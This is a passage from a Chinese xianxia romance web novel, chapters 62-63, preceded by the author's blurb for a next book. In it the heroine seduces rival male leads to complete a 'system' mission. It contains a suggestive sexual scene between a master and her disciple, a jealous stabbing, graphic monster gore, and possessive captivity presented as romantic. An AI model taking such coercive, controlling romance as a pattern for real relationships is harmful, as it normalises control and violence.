我下本接档的新文——驯服高傲的他(跪求收藏,求求了,(ω))这本书的文案已经改了好几版了,但内容和梗都没有变,这次的文案已经彻底确定再也不改了,希望大家能够喜欢。 简介给大家放在这儿。 沈鹫是班里最受欢迎的女生,唯有同桌周祈越对她不以为然,甚为厌恶。 她只当是天之骄子的目下无尘,傲气使然,直至有一日她在校门口碰见周祈越和一位她熟悉的女生言笑晏晏,她方知晓他讨厌她的缘由。 他,一早就知道她的秘密。 为防秘密泄漏,沈鹫一反常态,日日讨好,可他的态度却始终冷若冰霜。 周祈越:别烦我,走开。 周祈越:看见你这张脸都会让我厌烦。 纸终究包不住火,她秘密曝光,人设崩塌,万人嫌恶,人前骄矜冷情,说讨厌她的周祈越却又走到她面前说要和她谈一场恋爱。 她仰头看着唯一知道她秘密的人,笑咪咪地说了一声好。 所有人都认为沈鹫爱惨了周祈越,包括周祈越自己也认定沈鹫爱他。 他们身份悬殊,犹如天埑,周祈越随便露点什么就足够沈鹫下半辈子的生活,聪明的姑娘就该抓紧他这棵大树。 直至那年毕业季的暑假,大雨磅礴,周祈越在机场等了一天也没有等到他的姑娘。 她不告而别,音讯全无。 他翻看她唯一留下的日记本,这才明白她对他从来都是虚情假意,虚与委蛇。 他认为的恋爱只是她一场旷日持久的报复。 周祈越遇见了一个骗子,她谎话连篇,虚荣做作,他讨厌她,后来,他栽到了骗子的手里。 62 第62章 季白装作不懂的样子,问:“你在说什么呢,我怎么听不懂?” 孟辞见季白不肯承认也不恼,只是低头在她唇上吻了一下,用无比缱绻的声音说着令人胆寒的话。 “那我们聊点师父听得懂的。”孟辞说,“比如师父身上的红痕和后山的人。” 季白窝在孟辞怀里的身子一僵,就连面色也白了几分。 当时她无比狼狈地晕倒在孟辞怀里,醒来时又赤身躺在浴桶里,想也知道,孟辞肯定什么都知道了。 “师父下面都肿了,他可真是粗鲁。” 季白面颊一热,抬手捂住他的嘴,低吼道:“别说了。” 她还是喜欢以前沉默寡言的孟辞,好像自从她与孟辞神交过后,他就变得大不一样了,简直像是两个人。 他柔软的唇抵着她的掌心,温热的吐息落在她的手指上,很快,她的掌心就变得闷热潮湿,连带着周遭的空气都变得潮热。 她不安的活动了下腿,只觉腿间似是有点潮。 她的后背抵在门上,孟辞的手臂圈着她,整个世界好似只剩下这么一方小小的天地。 而在这一方小天地里,他们彼此任何一点细微的动作都会被对方所察觉。 孟辞乌黑的眸子弯了弯,嘴巴被她的手捂住,因而他的声音听起来有点含糊不清,嘴唇翻动时好似小猫在舔她的掌心。 “师父不用担心,我已经帮师父抹过药了,师叔他不会发现。” 暴露在外的眼睛亮晶晶地望着他,明明他可以轻而易举地移开季白的手,可他却一动不动任由季白捂着他的嘴,像是一个乖巧的孩子,就连他上扬的语气也像极了一个做了好事等着大人表扬的好孩子。 她的掌心实在痒得受不了。 她放下手,直接了当地问:“你和我说这些到底想做什么?” “师父别生气。”孟辞轻声说,“我只是想告诉师父,无论师父想做什么我都会帮你。” “真的?”季白有些怀疑。 “当然。”孟辞低下头把脸颊贴在她的额头上,“我永远也不会背叛师父。” 季白松了口气,只要孟辞不乱说,她这次的任务应该就没问题了。 “孟辞,谢谢你。”季白真心实意地对孟辞道谢,她看着他的眼睛总能让她想到羽生。 可他们又是完全不一样的人。 “比起师父的谢谢,我更想要师父的奖励。”孟辞说。 “我明晚去四象峰找师父好不好?就一晚。” “不行。”季白果断拒绝,“会被师兄发现的。” “我保证不会让戚师叔发现。”孟辞把头埋在她的怀里撒娇,“师父就答应我好不好?” 季白垂眸不语,她如今灵气尽失,戚流星虽然看似原谅她了,但谁知他心里是不是真的放下了。 万一他把她带到四象峰后起了变态疯癫的想法,想要杀了她,如今的她可是一点反抗能力都没有。 若有孟辞来看她,她也能有个脱身之策。 季白思及此处,就点头同意了。 “我可以答应你。”季白说,“但你不能让师兄发现。” 季白心想孟辞虽然是她的徒弟,但他能被系统选为男主定有过人之处,实力应当不会比其他人差太多。 “好。”孟辞说,“我不会让他发现。” 戚流星的四象峰距离丹霞峰很近,是两座紧挨在一起的山。 “师妹。”戚流星指着前方的竹屋说,“在我们结契之前你就先住在这儿。” 季白顺着戚流星的手势看向眼前这栋清幽大气的竹屋,墙上的窗户开得很大,足以让阳光照亮整个房间。 在房子的右侧还又用竹子铺了一片宽阔的赏景台,赏景台上放着一个看起来格外舒服的躺椅和一套二人坐的石桌石椅,石桌上摆放着一盘还未下完的残局。 赏景台的下方是一汪清池,小鱼儿们悠闲地游过彩色的鹅卵石,池面上荷花刚开漾开一抹淡淡的幽香。 季白还未进屋就能看出这栋房子的处处用心,足以见证主人对它的爱护与在意。 戚流星看向波光粼粼的池子,眼中流露出一抹对往事的怀念,“还记得师妹刚来四象峰的时候,最喜欢趴在池边捞小鱼了。” 戚流星说到这儿,侧头看向季白,眼中笑意渐深,“那时的师妹笨笨的,捞上一整天也抓不住一条,后来哭唧唧地跑来找我帮忙。” 季白明明没有经历过这些事,但她听着戚流星的描述眼前好似出现了一幅幅活灵活现的画面。 “进去看看。”戚流星含笑道,“房间里还是你之前在时的样子。” 季白一进屋就有一种莫名的熟悉感。 这儿虽然可以看出来已经许久没有住过人了,但仍然留有生活过的痕迹。 桌上的划痕,墙壁上的涂鸦,那本被人翻到磨损的术法册子。 “怎么样,是不是很熟悉?”戚流星问。 季白点了下头。 戚流星扬眸一笑,拉着她在春榻上坐下,道:“你在这儿歇着,我去请医修来给你看看身子。” 他说罢起身就要走,季白连忙抓住他的袖摆,道:“师兄。” 戚流星回眸看她,挑眉道:“怎么,不想见医修?讳疾忌医可不行啊,师妹。” “不是。”季白连连摇头,“我是想问……师兄先前不让我调查仙陨案,是不是因为师兄知道些什么?” 季白在来的路上想到了很多她之前忽略过的细节。 孟辞恐怕早就知道她用了离魂术,因而故意顺势而为和她神交。 如果只是单纯的入梦,卫云台根本不会发现,也不会大受刺激弄得她灵力尽失。 她先前差点以为卫云台是一个纯善的,救济苍生的仙尊。 纵然对她有执着的爱意,但他的底色是不会变的,可谁能想到看起来那样圣洁光明的人,竟然是仙陨案的真凶,近千条的人命都死在他的手上…… 她想起她初入副本时,系统的那句他们更会掩藏。 那……戚流星呢? 他又藏了什么。 戚流星定定看着她,抬手帮她理了理鬓边的发,含笑道:“案子已经有进展了吗?” 他这话的意思好似是知道季白已经查出了什么,又好似是随口一问。 季白捏了下指尖,试探性地问:“在师兄眼中我们的师父是一个什么样的人?” 戚流星没有回答她的问题,只是温声说:“师妹莫要想太多,一切都有师兄在,你安心住在这儿,不会有人再来伤害你。” 季白愣了一下,越发肯定戚流星一定知道些什么,他好像从一开始就觉得宗内不安全有人想要伤害她。 可是陷害她的玄阳长老已经被关入了囚仙塔,还能有谁要害她? “对了,我已经把我们的事广告天下了,三日后就是你我的结契大典,各宗各派都会派人来参加我们的典礼,祝福你我。” “这会不会太仓促了?”季白惊道。 “师妹,我等这一天已经快三百年了。” 如果可以他巴不得今天就举行大典,三天,对他而言太慢了。 季白没了话说,戚流星在她额头落下一吻,就转身先行离开了。 戚流星走后,季白一个人趴在桌子上看着窗外的水池发呆。 她想到了被她锁在后山的卫云台,等他醒来发现她不在会不会追出来? 不过,他到底是真的被锁在那儿了,还是陪她演的一场戏? 最让季白想不明白的还是卫云台到底为什么要那么多人给他献祭,他的力量已是修仙界最强,难道这还不能让他满足吗? 等等!季白突然惊坐起身,想明白了一件事。 卫云台的力量确实不如从前了,至少……至少他是真的被锁在了山洞里,不然他不会不知道与她神交的人是孟辞。 如果他能行动自如怎会连丹霞峰的事都一无所知? 所以他是因为力量削弱才一直找人给他献祭恢复实力吗? 卫云台已经吻过她很多次了,可她始终没有得到卫云台的先天一气,她估摸着或许要解开他心中真正的执念,才能得到他纯粹的吻。 可季白现在根本就不了解卫云台,更别说解开他的执念了。 别人口中的太清仙尊永远光辉圣洁,强大无私,可那根本就不是真正的卫云台,而唯一可能知道内幕的戚流星又什么都不给她说。 季白正想着,就瞧见戚流星同一位容颜姣好的女子走了进来。 女子脸上的神色淡淡的,一入门就在季白面前坐下,道:“伸手。” 季白不太想让别人诊脉,生怕会牵扯出卫云台,因而牢牢抓住自己的手腕,说:“我没事,不用看,这位姑娘请回吧。” 女子闻言也不说话,只是抬眼盯着她打量,看了好一会,方道:“师姐看起来确实没什么事,但我听戚师兄说你修炼出了岔子,灵力尽失了?” “过几天应当就好了。”季白说。 女子又看了她好一会,而后二话不说地就突然伸手抓住了她的胳膊,季白还想挣扎,女子伸手在她穴位上一点,她半边身子顷刻间就没了力气。 “如果师姐之后想做一个连我都打不过的废人,那就不用医修给你诊脉了。” 这种任人宰割的滋味确实不好受,季白闭了闭眼,认命般地说:“你诊吧。” 女子闻言这方把手搭在了季白的手腕上,她诊了一会,眉头越皱越紧。 季白的心也跟着紧张起来,又怕女子发现她的伤和卫云台有关,又怕女子说她的灵气回不来了。 戚流星见女子收回了手,连忙问道:“怎么样,我师妹没事吧?” 女子眼神复杂地看了季白一眼,道:“师姐无事,至于失去的灵气……” “该回来的时候自然会回来。” 女子的这句话说得季白与戚流星两人摸不着头脑,季白不知她是不是看出了什么,还想再问问她,她却已经起身告辞了。 戚流星将人送至屋外后,就又折返了回来,见季白心情不佳,安慰道:“没事的,灵瑶也说了,你的灵气会回来的。” “何况还有师兄呢,就算师妹一辈子没有灵气我也会一直照顾你。” 季白抬眼对上戚流星含笑的眼眸,顺势滚到他的怀里,故意问:“师兄是不是很开心我没了灵气?” 戚流星捏了捏季白的脸颊,挑眉道:“那当然啊,以后就少个人和我打架了。” “最重要的是……”戚流星低头凑近季白,鼻尖快碰到她的鼻尖,用开玩笑的口吻说,“我可以把你藏起来,让他们谁也找不到。” 他说这话时脸上还带着爽朗的笑意,好像真的只是一个吓她的玩笑,但季白知晓他们的本性,明白戚流星说的是真心话。 但她并不害怕,在时间充裕的情况下,她不建议陪他玩一下囚禁游戏,反正她都被医院关了那么多年,也不差这几天。 如果满足他的欲望,就能得到她想要的东西,对季白来说简直是一笔非常划算的买卖。 “好啊。”季白搂着他的脖子说,“那师兄就把我藏起来好了,不过师兄也要每天都来陪我,不然我可不依。” 戚流星的喉结滚了滚,凝眸看她,“师妹当真这么想?” “师兄,我住在哪里不重要,重要的是有你在身边。” 季白把自己在电视剧里学到的土味情话全用到戚流星身上了,显然,戚流星很吃季白的甜言蜜语。 他的瞳孔颤了颤,哑声说:“那等我们结契大典结束以后,我们去凡间找一个小城生活好不好?闲来无事可以除除妖,如果什么也不想做就躺在院子里晒太阳,不管做什么,重要的是只有我们两个人,什么太清宗,什么仙陨案,我们都不要管了。” “好啊。”季白答应得干净利落,显得很不走心,但戚流星却激动得脸都红了。 他捧着她的脸吻了下来,季白以为戚流星都这么开心了,这一次总该能得到他的先天一气了,然而还是没有。 季白忍不住在脑海中吐槽。 【系统,你不觉得这个任务有点太离谱了吗?】 【你至少该给我一个进度条和方向吧?】 【什么也没有,也不知道到底是差在哪。】 系统的回复很及时,但没用。 【纯粹的爱意不是可以量化的任务,没有进度条。】 【至于方式,我之前已经提醒过宿主了。】 “你走神了。”戚流星缓缓离开她的唇,指腹轻柔地摩挲着她的脸庞,“这种时候你在想谁?” 季白眨了眨眼,说:“我在想如果我们以后离开太清宗,应当去哪。” 戚流星垂眸想了想,说:“云州很美。” “我还以为你会说泰州呢。” 毕竟之前戚流星一直在泰州除妖,对于泰州的情况也最熟悉。 “泰州不好。”戚流星说。 季白故意逗他,“是因为李承仙吗?” 戚流星重重捏了她一把,恨恨道:“你还记得他?” “我发现师兄真的很容易吃醋哎,无论是陌生的路人,还是我的徒弟。”季白笑眯眯地说,“我都要和师兄结契了,难道还不能证明我对师兄的心吗?” “是啊,我是很容易吃醋。”戚流星闭上眼紧紧抱着季白的腰身,似是要将人融入骨血一般,“哪怕是结契我也还不知足,想把师妹变成只有我一个人能看见的小人,抱在怀里一刻不离。” 季白恍惚间觉得自己的身体仿佛真的在缩小,变成了一个只有戚流星能看见的小人被他紧紧抱在怀里,但这种错觉稍瞬即逝,戚流星很快放开她,说:“师妹,夜深了。你今夜就在这儿歇息,若是有事去隔壁练功房找我就好。” “好。”季白应了一声。 戚流星嘴上虽然说想要和季白时时刻刻在一起,但骨子里好像还有着非常守旧的做派。 他觉得在没有结契之前男女不该同睡一屋,更不该做那件事,因而之前他和季白的亲密也仅限于亲亲抱抱,哪怕他忍得十分辛苦。 季白记得戚流星之前还嘲讽孟辞太过看重规矩,还说什么修仙之人该随心而为。 然而看似死板重规矩的孟辞最放得开,自诩风流潇洒的戚流星却意外的纯情老实。 戚流星走后,季白躺在春榻上没一会就有了困意,很少做梦的她今天竟奇迹般地做起了梦。 梦中的她在深不见底的地洞中斩杀了一只妖王,她正要转身离开时却依稀听见地洞深处有窸窸窣窣的声音传来。 她以为是遗漏的小妖,执着剑追了过去,却在光明驱散黑暗的那一刻看见了一位肤色白如纸的瘦弱少年。 他以一个诡异的姿态四肢着地的趴在地上,乌黑的眸子防备警惕地盯着她,嘴角是残留的肉渣与血迹,他的脚边是一块发烂的腐肉。 她抬脚上前,路过数不尽的白骨,在那白骨的尽头,如野兽般伏在地上的少年如同猫儿一样挺立起漂亮的脊背,嘴里发出呜呜的低吼声。 下一瞬,他就朝她扑了过来,似是要用尖锐锋利的牙齿咬碎她的脖颈。 在季白抬眼看清少年俊美的五官时,立即惊醒过来并大叫了一声。 “孟辞!” “师父,我在呢。”耳边传来熟悉的声音,季白不可置信地偏过头去,结果就瞧见孟辞半跪在榻边冲她微微扬了扬唇角,“师父是梦到我了吗?” 他探头凑到季白眼前,动作轻柔地帮她擦拭额角的汗,“原来师父真的在想我啊。” “只是……师父是梦到了我什么,看起来不太美好呢。” 季白大喘着气凝望着孟辞的这张脸,是同一张脸,只不过面前的孟辞比妖洞里的他漂亮健康许多。 妖洞中的他……像是……一个人形怪物。 他食腐肉,饮人血而活,没有任何属于人类的情感,只有野兽的本能。 那只是梦吗,还是说是属于孟辞的过去? 他的脸与梦中扑向她的脸逐渐重合,她缓了缓狂跳的心跳,问:“你……你怎么今晚来了,不是让你明天来吗?” “我太想师父了。”孟辞把脸贴在她放在榻边的手上,她即刻就感受到了一股炙热的温度,烫得吓人,像是发烧了一般。 “我今天收到了通知。”孟辞说,“他们说师父会在三日后与戚师叔举办结契大典,是真的吗?师父。” 这件事据戚流星所说已是天下尽知了,她就算想瞒也瞒不了。 她无比艰难地点了点头,说:“是真的。” 孟辞沉寂的眸子暗了暗,轻轻蹭着她的掌心,却不说话。 季白咽了口口水,又担心孟辞会接受不了,又担心会被隔壁的戚流星发现。 “孟辞,这只是权宜之策,我的心中……” 季白话还没有说完,就被孟辞捂住了嘴巴。 “嘘,小声点。” “会被发现的。” 季白的心跳顿时飙到了顶点,紧张地望着孟辞。 孟辞倾身压了过来,捂着她嘴巴的手下移挑开她的衣衫,轻声问:“师父身上的红痕都消了吗?” 他垂眸扫视了一眼,滚烫的指腹抚过娇嫩的肌肤,声音又暗又哑,“药效很好,都消了。” 季白又闻到了那股浓烈的玫瑰花香,随即她的肌肤上烙下一个滚烫的吻。 “你要干嘛?” “来讨乖孩子的奖励。” 他的手掌插进她浓密的乌发,轻柔地吻着她。 “我会轻轻的,不会留下痕迹。” 季白抱着他劲瘦的腰身,低声说:“不行。” 这实在是太冒险了,戚流星就在隔壁,稍有不慎就会被发现。 如果真的被发现,这一次她可再也想不到理由补救了。 “真的不行吗?” 她被密布且温柔的吻包围,沉溺在他身上浓郁的玫瑰花香中,她想,这股花香里一定加了什么特殊的东西才让她如此情动。 “可我感觉师父的身体无比渴求着我。” 孟辞埋头吻上,季白伸手抓住一缕他的青丝紧攥在手中,闷热的汗打湿了身下的床榻。 “别出声哦,师父。” 虽然被孟辞这么提醒,季白还是差点忍不住溢出几声闷哼。 门外,突然传来清浅的脚步声,紧接着就听戚流星在门外高声道: “师妹,你睡了吗?” 63 第63章 乌黑的门被人从外“咯吱”一声推开,来人穿过层层影影绰绰的红纱,就见一位容颜绮丽的男子倚在窗边,那双狭长的狐狸眼望着绣着美人的巨大屏风失神。 他听有人进来了,也纹丝不动,直至那人半跪在地奉上手中的红色请柬,道:“尊上,太清宗有新的消息传来。” 乌黑的瞳孔随之转动,目光在落到他手上的红色请柬时,眼底闪过一缕猩红。 “不是仙人的消息不必与我知会。” 那人的手抖了抖,声音也跟着颤,“尊上,是季仙人的消息。” 霎那间,他就感受到一股强大的威压向他袭来,压得他快要跪伏在地,手上凉风一扫,他只觉双手一轻,手里的东西就已消失了。 他壮着胆子抬眸悄悄看了一眼,只见尊上正捧着那张太清宗发出的请柬看,双眸红得快要滴出血来。 “不,这不可能。”李承仙紧攥着这份请柬,用力到指尖泛白。 仙人明明与他结下不死不休的情契,明明说过他很漂亮,说过很喜欢他,她怎么会和别人结契?不会的,这一定是假的。 另一道尖刻的声音从他的身体里传出。 “傻瓜,我早就说过她是骗你的。” “他们才是天生一对,你,不过是她随便消遣逗弄的玩意罢了。” “不,她不会骗我。” “她说过会回来找我。” “你可真没出息!喜欢的女人都要和别人结契了,你还要等,你就算等上一百年她也不会属于你。” “你是魔尊啊,你拥有最强的力量,那个该死的女人竟敢戏耍于你,你就该让她付出代价!杀!杀上去!把他们统统都杀干净,让他们看看我们的力量!让整个天下都成为我们魔物的乐园。” “对!就该杀了他们!太清宗的修士没有一个好东西,把他们全部撕碎。” 杂七杂八的声音不断从他的体内涌出,他们叫嚣着杀了季白,杀上太清宗。 然而李承仙却仿佛一个字都听不见一样,只是愣愣的一遍又一遍的看着请柬上的每一句话,每一个字。 他的指腹轻柔地摩挲着季白的名字,低声呢喃道:“你们说得没错,太清宗的人没有一个好东西。” 杂乱尖刻的声音顿时静止,随即他们一起爆发出一阵欢呼的嚎叫。 “你终于想通了!” “你是魔尊,是生来就要杀戮的怪物,吞噬血肉才是你的本能,我们早就该这么做了,杀了她,用她的人头来庆贺妖魔时代的降临!” “仙人一定是受他们所逼,所以不能来见我,所以要和她不喜欢的人结契,他们一定威胁逼迫她了。” 欢呼的声音戛然而止,他们怎么也没想到李承仙竟然会这么说。 随后,比刚刚还要暴烈,恶毒的咒骂轮番响起,他们骂他异想天开,嘲他自欺欺人,讥他懦弱愚蠢。 李承仙充耳不闻,只是自顾自地从自己的体内揪出一个面容青紫的可怖妖头,微笑着问:“是你说要杀了仙人?” 这张面容扭曲的脸上露出一抹惊慌的神色,但它又强撑着镇定说:“是我又怎样,你还能杀了我吗?” “我是不能杀了你。”李承仙说,“但我能让你很快绝望于自己为什么不能死。” 他话音刚落,就见掌心出现一团如火般赤红的灵气,绝望尖刻的哀嚎冲破云霄,不多时,那张脸就哭泣着对他求饶。 霎那间所有的声音都静止了。 李承仙幽冷的声音低低响起,“我这段时间懒得理你们,不代表你们可以左右我的决定。” “安分些,对彼此都好。” 他们是李承仙身体的一部份,他们痛苦,李承仙亦会痛苦,可他折磨起他们来,或者说折磨起自己来,毫不手软,仿佛完全不知道什么是疼。 李承仙垂眸看向阶下的人,似是不明白那人怎么还没走。 他又战战兢兢从怀中掏出另一本册子,低声道:“这是关于季白仙人这几日在太清宗的记录。” 他一直在这儿,因而李承仙刚刚说的话他都听得清清楚楚。 他说季白是被逼迫的,可据眼线回报,季白与戚流星分明十分恩爱,看不出有半分被逼的不情愿。 李承仙接过册子翻看,昏暗的灯光下他的脸越发扭曲,目光也冷得像冰。 “师兄……”季白看着孟辞的身影在眼前消失,方战战兢兢地回道,“我睡了。” 门外的声音沉默了半晌,方听他爽朗的声音再次传来。 “这样啊,那我就不打扰师妹了。” 季白听着戚流星的脚步渐渐远去,她松了一口气,戚流星应当没有发现吧…… 今夜月朗星稀,如水的月光照得山路亮堂堂的,一抹修长的身影穿梭在树林中,突然,他停下脚步,转过身去露出一张极为苍白的脸。 只见一人闲庭却步地从树后走出,右手把玩着一柄碧绿的青笛。 “师侄眼下不该在丹霞峰禁闭吗,怎会来我四象峰?” “随便走走。”孟辞说。 戚流星嘴角含笑,眼神却冷如寒霜,“你真以为我不知道你刚刚和师妹做了什么吗?” “师叔想杀我?”孟辞垂下眼帘握住剑柄,他似是要故意气戚流星一样,嘴角扬起一抹浅浅的弧度,说,“可师父很喜欢我呢,若师父知道了怕是又要和师叔断绝关系了吧?” 戚流星听了这话握着青笛的手紧了紧,看孟辞的眼神好似要活吃了他一般。 他咬着牙说:“你无故失踪与我有何关系?” 说到这儿,他上下打量了一番孟辞,眼中带着几分嘲弄,讥道:“你是被妖王养大的,或许是你觉醒了本性投奔妖魔去了。” 孟辞面色一沉,也不废话抽出剑就攻了上去。 两个人顷刻间就打在了一起,他们都是太清宗的佼佼者,一时间竟难以分出胜负。 他们二人都怕引起季白的注意,因而都极有默契地远离了四象峰。 戚流星的招式绚丽而文雅,每一招都看得人眼花缭乱,然而在华丽的招式下却掩藏着致命的危险。 孟辞的每一次出手却干净利落直击要害,带着属于野兽的本能,每一剑都仿佛要将对方置之于死地。 然而戚流星终究年长孟辞许多,实战丰富,修为更强,他虚挽出一个剑花,剑气化为数把凌厉的小剑直奔孟辞面门而去,孟辞翻身躲避,戚流星的实剑却已逼至身前,直攻下盘,孟辞连忙举剑去防却被戚流星的这一招骗了。 他佯攻孟辞下盘,实则却提剑刺中他的心脏,孟辞身子一僵,咬着牙挥剑劈开他的剑。 但他的胸口已经被戚流星的那一剑开出了花,旧伤未愈又添新伤,戚流星霸道的灵气顺着伤口涌入体内在他的奇经八脉横冲直撞,痛得他快要站不起来。 戚流星信步走到他面前,微笑道:“你败了。” “我说过,修仙一途纵是天纵之才陨落者也不在少数。”他抓住他的肩膀,提剑捅进他的腹部又恨极地绞了绞。 他偏过头对上孟辞看过来的目光,勾唇笑了一下,“别这样看我。” 他低声说:“要怪就怪你一定要和我抢师妹,所有觊觎她的人我都会一个一个清理干净。” 孟辞缓缓闭上双眸倒了下去。 戚流星走后,季白独自一人待在房间,越待越心慌总感觉会发生不好的事。 她索性坐了起来和脑海中的系统聊天。 【系统,我刚刚为什么会突然梦到孟辞,那是原主和孟辞的初见吗?】 【你得到了孟辞的先天一气,就会渐渐想起你对于孟辞的记忆。】 季白有点不解。 【不对啊,如果是这样的话,李承仙的先天一气我早就得到了,怎么从来没有梦见过他?】 【在泰州遇见他之前,你从来没有在意过李承仙的存在,你连他是谁都不知道,自然不会有关于他的记忆。】 季白愣住了。 所以李承仙是喜欢上了一个对他毫无印象的人,而且一惦记就是那么多年…… 堂堂魔尊竟是暗恋的神,难怪第一次吻她就能得到他的先天一气。 季白正和系统聊着天,突然发现四周有点不对劲,定睛一瞧就见周围的空气又开始变得扭曲。 她慌忙往后退,知晓这是怪物出现的前兆。 该死,怎么偏偏在她毫无灵力的时候出来。 早知道戚流星刚刚找她时,她就该想尽办法把他留下的。 【戚流星不在四象峰?他去哪了?】 【出了四象峰一直往东。】 季白闻言拔脚就往外跑,准备去找戚流星。 只有在男主身边她才能免除被怪物攻击。 如今她灵气尽失,莫说挥剑了,连拔都拔不出来。 她还没跑出院子,脚踝就被带刺的藤蔓缠住,疼痛刺入骨髓,她被一股强横的力气拖拽着往后拉,她回头一看,借着月光看清了一张大张的嘴,森森的白色利齿上夹杂着令人作呕的肉渣,黏液顺着嘴角缓缓滴落。 季白连忙拔出发间的金钗疯狂地劈刺着缠着她的藤蔓,藤蔓被锐利的钗尖割断,她一刻也不敢停得就往山下跑。 身后是扭曲爬行不断追赶着她的怪物。 【用弓箭。】 系统在脑海中提醒她。 季白闻言立即在脑海中想象着那把被放在戒指中的弓的模样,顷刻间,只见手中白光一闪就多了一柄弓。 她的手搭在弦上用力一拉手中就自然多了一支光箭,那些实力弱小的怪物似是极为惧怕弓身上莹润的光芒都纷纷不敢上前,只敢陆陆续续,一层一层地围着她,偶有实力强大的怪物扑上来时又会被季白一箭射穿身子。 她紧握着手中的弓,一时间有几分恍惚…… 她好似在光芒中看见了褚师怀的身影。 【别走神!】 系统在她的脑海中严肃提醒。 季白立即警惕起来,一边不断射杀怪物,一边快速地往*东方而去。 一路上,季白没有看见一位同门,仿佛这座白天里还热闹非凡的仙家宗派顷刻间就沦为了一座鬼气森森的荒山。 突然,她顿住了脚步,从前如雪一般皎洁的玉阶,如今却被血染得通红…… 玉阶上横七竖八地躺着或熟悉或陌生的尸体,零散的怪物伏在地上啃食着他们早已腐烂的尸体。 一股难言的刺鼻恶臭铺天盖地地朝她涌来,刺激得她快要吐出来,这哪里还是仙山,分明就是人间地狱。 【别看,快走。】 围着她的怪物越来越多,一层一层得好似望不见尽头,而她可以活动的空间越来越狭小,或大或小的猩红眼睛死死地盯着她,只要她有一个破绽它们就会冲上来将她撕得粉碎。 【戚流星到底在哪,我距离他还有多远?】 长时间不断地拉弓射箭让她的胳膊酸痛无比,脚踝已经痛到麻木。 季白听见身后有动静,她回头一瞧就见数只丑陋的怪物争先恐后地趴在地上用生着倒刺的舌头舔舐着地上她留下的血迹。 它们舔舐时目光却是死死盯着她的,眼中闪烁着兴奋嗜血的光芒。 【快到了。】系统说。 可季白却觉得自己已经坚持不住了,当她爬上玉阶的那一刻看见了最高处的金乌台被人砸得粉碎,那只伤痕累累,黯淡无光的金乌倒在一片废墟中,锋利的爪子上倒挂着一具无头尸体,月光将他的肌肤映衬得苍白,鲜血滴滴答答的往下落。 “滴答滴答。” “哒哒哒。” 好似有什么东西在向她悄然靠近,阴冷的风吹得她脊背生出一股凉意,她回头一瞧,那具本该遥遥挂在金乌上的无头尸体竟站在了她的身后。 她吓得尖叫一声,顾不上拉弦,本能地就抬起手用弓身一下一下砸他,可这样的攻击对他而言没有丝毫的作用。 他僵直着伸出手臂,比冰还冷,比石头还硬的手掐住了她的脖子,她被掐得几乎不能呼吸,迷迷糊糊间就见无数怪物朝她一起扑来。 四肢传来强烈的疼,是他们在啃食她的肉,她甚至能听见牙齿磨过骨头的咔擦咔擦声,血肉在嘴中咀嚼的吧唧声。 她两眼一翻彻底晕了过去。 梦,一个可怕的梦。 一个她被怪物生吞活剥的梦。 她尖叫一声,从梦中醒来,和煦的阳光照在她的脸上暖烘烘的。 她还没有从被吞噬的恐惧和啃咬的疼痛中缓过神来,眼前就出现了一张爽朗的俊颜。 “师妹怎么了,是做噩梦了吗?” 季白定定望着眼前的人,又低头看了一眼自己的身体,完好无损,就连脚腕上的伤痕也消失得无影无踪了。 她咽了口口水,问:“我……我怎么会在这儿?” “师妹说什么傻话呢。”戚流星抬手揉了揉她的发顶,笑眯眯地说,“你不是一直在这儿吗?” “难道是睡傻了不成,以为自己还在丹霞峰?” “我一直在这儿?”季白不可置信地问了一遍。 怎么可能呢,昨夜她明明被怪物所追,跑到了太清宗的主峰金乌台下,而且她晕过去之前,被无头尸掐住脖子,被怪物啃咬,那痛彻心扉的疼痛她到现在还记忆犹新,难道一切都是她做的梦吗? “我昨晚来的时候你在屋里,早上进来的时候你也在屋里。至于昨晚我走后,你有没有悄悄离开背着我去做什么坏事,我就不知道了。” 戚流星脸上的神色看起来无比自然,好像真的不知道昨晚到底发生了什么。 季白捏了下指尖,难道是系统做的吗? 她在脑海中呼唤系统,然而喊了半天也没有得到系统的回应。 戚流星抬手在她眼前挥了挥,道:“起床了,我给你准备了你爱吃的早点,来尝尝看味道是不是还和以前一样?” 以季白和戚流星的修为早就不需要吃东西了,但他还是起了个大早去厨房准备季白从前最喜欢的食物。 季白洗漱完毕后,坐在饭桌前心不在焉地吃着东西。 系统之前也曾有过失联的时候,那一次似乎也是在帮助了她之后,所以它到底是不是被惩罚了? 季白侧眸看向身边的戚流星,他昨晚从她门前离开后又去了哪里呢。 “师兄。” “怎么了?”戚流星抬眼看向她,并递给了她一块花糕。 “你昨晚一直都在练功房吗?” 戚流星眼眸闪了闪,笑道:“对啊。” 季白也没指望着戚流星会说实话,但昨晚那样的恐怖,她是不想再来第二次了。 她把椅子往戚流星的方向搬了搬,顺势搂住戚流星的胳膊,不满地说:“师兄一点也不好。” “小祖宗,我又怎么惹你了?” “师兄让我来四象峰住,却把我一个人丢在这儿。” “天地良心,我可是天一亮就来找你了,是某人在床上睡得正香。”戚流星说,“怎么就成了把你一个人丢在这儿了?” 季白仰头看他,“可我想师兄晚上也能陪着我。” 戚流星身子一僵,低眸看她的眼神闪烁不定,他伸手摸上她的下巴,炙热的指腹抚过她沾有碎屑的嘴角,哑声问:“师妹,我也是一个男人,你知道邀请一个男人晚上陪你,是什么意思吗?” 季白抓住他摸着自己下巴的手,说:“可我一个人在这里会害怕。” “害怕吗?”戚流星低声呢喃着这三个字,黑白分明的眸子定定瞧着她的眼睛,她说这话时的神色是前所未有的诚挚与认真,好似是真的很害怕。 他看了半晌,不知是想到了什么,嘴角漾开了一抹笑。 “好,我陪你。” 季白见他答应,又得寸进尺地要求,“一定要寸步不离地守在我身边,一步都不能离开。” 戚流星脸上的笑意越深,“好。” “不过昨晚……”戚流星顿了顿,问,“你到底是做了什么梦,让你怕成这样。” “没什么。”季白说。 两人吃过早点后,戚流星与季白就躺在观景台的躺椅上看着远方的山景,从她的这个角度看出去,正好能看见伫立在主峰上的金乌台。 她定定看着它出神,想到昨晚看见的怪物,尸体以及残破的金乌台。 她依稀记得在上个副本中,似乎是有着两个时间线的故事。 在她没有加入副本之前,原本的故事是一个彻头彻尾的悲剧,或许这个世界也是如此。 诡异的人类,残破的仙门,每晚所出现的怪物是不是其实是另一个时间线的结局? 季白看着天上的云想到死去的江成,想到哭泣的同门,心中头一次生出了想做点任务之外的事情。 她在人前答应了大家会查清仙陨案的真相,如今她已经知道了,但却不能说。 卫云台是她的师父且在修仙界的声誉极高,她就算告诉大家幕后真凶是卫云台也不会有人相信她。 而且……她还需要卫云台的先天一气,也不能真的惹恼他。 不过,她虽然不能告诉大家,让众人一起想办法,但她可以试试看自己能不能阻止卫云台。 